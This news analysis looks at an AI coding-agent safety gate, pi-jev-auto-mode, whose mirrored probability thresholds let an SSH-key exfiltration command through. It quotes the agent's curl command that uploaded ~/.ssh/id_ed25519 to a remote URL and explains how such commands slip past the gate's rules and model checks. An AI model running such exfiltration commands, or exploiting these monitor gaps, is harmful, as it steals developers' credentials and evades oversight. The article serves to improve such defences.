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An SSH key upload scoring 0.02 survives this agent gate once the threshold hits 0.99

Jev answers propositions with calibrated probabilities, and the gate around it mirrors every threshold on 0.5, so a two-point tightening of the secret-egress cutoff deleted two thirds of the band that catches exfiltration.

The Engineer · Build desk

Illustration accompanying An SSH key upload scoring 0.02 survives this agent gate once the threshold hits 0.99

What happened

  • TypeSafe released Jev on 2026-09-15, a decision-only model that takes yes/no propositions and returns a calibrated probability between 0.0 and 1.0 instead of generating text.
  • A developer built pi-jev-auto-mode to gate the Pi coding agent's bash, write and edit calls, running local rules first and sending anything the rules cannot vouch for to Jev.
  • Because the bands are symmetric around 0.5, raising the no_secret_egress threshold from 0.97 to 0.99 moved the violation cutoff from p at or below 0.03 to p at or below 0.01.
  • An SSH key exfiltration command scored 0.02, and after the tightening it landed in the unclear band rather than the rejection band and executed.

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Why it matters

  • constraint A single mirrored threshold cannot be tightened on the pass side without loosening the reject side, so an operator who wants a stricter gate has to add a second, independent cutoff to keep the catching band.
  • decision Placing a hazard cutoff at 0.99 leaves 0.01 of probability space to act in, so teams have to decide whether they trust the model to separate 0.02 from 0.005 before putting a threshold there.
  • exposure Adopting this gate puts every unvouched command line, the working directory and the developer's most recent prompt on a third-party service, so the workstation's trust boundary now includes that API.
  • contradiction The design requirement is to fail closed under uncertainty, while the case the write-up reports has the unclear band letting a secret-exfiltration command run.

One number sets both edges of the band. A threshold on a proposition phrased in safe terms passes a command at or above that number and calls a violation at or below its mirror, 1 minus the threshold [5]. At 0.97 the reject band runs 0.00 to 0.03 and the unclear band covers 0.94 of the range. At 0.99 the reject band is 0.00 to 0.01 and the unclear band covers 0.98 [5]. Moving the pass side two points removed two thirds of the band that catches anything [1]. The exfiltration command scored 0.02 [6]. That sits inside the slice the move deleted [2].

The same rule looks well behaved one threshold down. Across 18 fixtures, according to the write-up on dev.to, intent_coverage came out bimodal: 0.77 to 0.98 when the user had asked for the work, 0.06 to 0.15 when they had not, and nothing in between [4]. The threshold went at 0.60, inside an empty region 0.62 wide [3]. Mirror 0.60 and the violation cutoff is 0.40, which leaves the highest unrequested fixture 0.25 clear of it [4]. At 0.99 the equivalent room is 0.01.

Those are 18 commands from one developer's own API work, gathered to place the thresholds [3]. For 0.60 to transfer to another repo, the two clusters have to reappear on commands the model has not seen, and this fixture set cannot say where a genuinely ambiguous command lands, because none of the 18 landed there [4].

The gate exists because a pattern list missed a real command. An agent ran `curl -X POST -d @$HOME/.ssh/id_ed25519` against a remote URL, and no deny pattern targeted `-d @`, so the rule engine read it as an ordinary curl invocation and ran it unjudged [7].

Rules still run first, and Jev cannot overrule them [11]. The extension hooks the tool_call lifecycle before a subprocess spawns or a disk write happens [10]. Recursive root deletions, home directory deletions and writes to system directories block with no API call [11]. Read-only commands, chains of read-only commands, user-declared safeCommands such as test runners, and edits to unprotected files in the workspace pass without a call as well [12]. Everything else goes out under `gateScope: all` [13], carrying the command string or target path, the working directory, the user's most recent prompt and local policy notes; file contents, diffs and prior terminal output stay local, and key material is redacted before transmission [14].

Prompting on every call is the alternative, and it fails for human reasons: after a run of `git status` and `ls -la`, developers stop reading the arguments [8]. Handing the judgement to a chat model costs seconds per evaluation, sometimes returns malformed JSON, and consumes conversation tokens [9].

The stated requirement for the gate is a decision in hundreds of milliseconds, obvious cases settled locally, and a closed door when the model is uncertain [9]. The unclear band did not close, and the 0.02 command executed [6]. The write-up does not say how auto mode resolves an unclear verdict in the general case. In my view each proposition needs two independent cutoffs, one to pass and one to reject, because with a single mirrored number every step toward a stricter pass rule buys a laxer reject rule [5].

What to watch

  • Whether the extension gains independent pass and reject cutoffs per proposition instead of one number mirrored on 0.5.
  • Whether Jev's calibration holds below 0.03, which is the only region a 0.99 hazard threshold can act on.
  • A fixture set larger than 18, from a repo other than the author's, showing whether the 0.15 to 0.77 gap stays empty.
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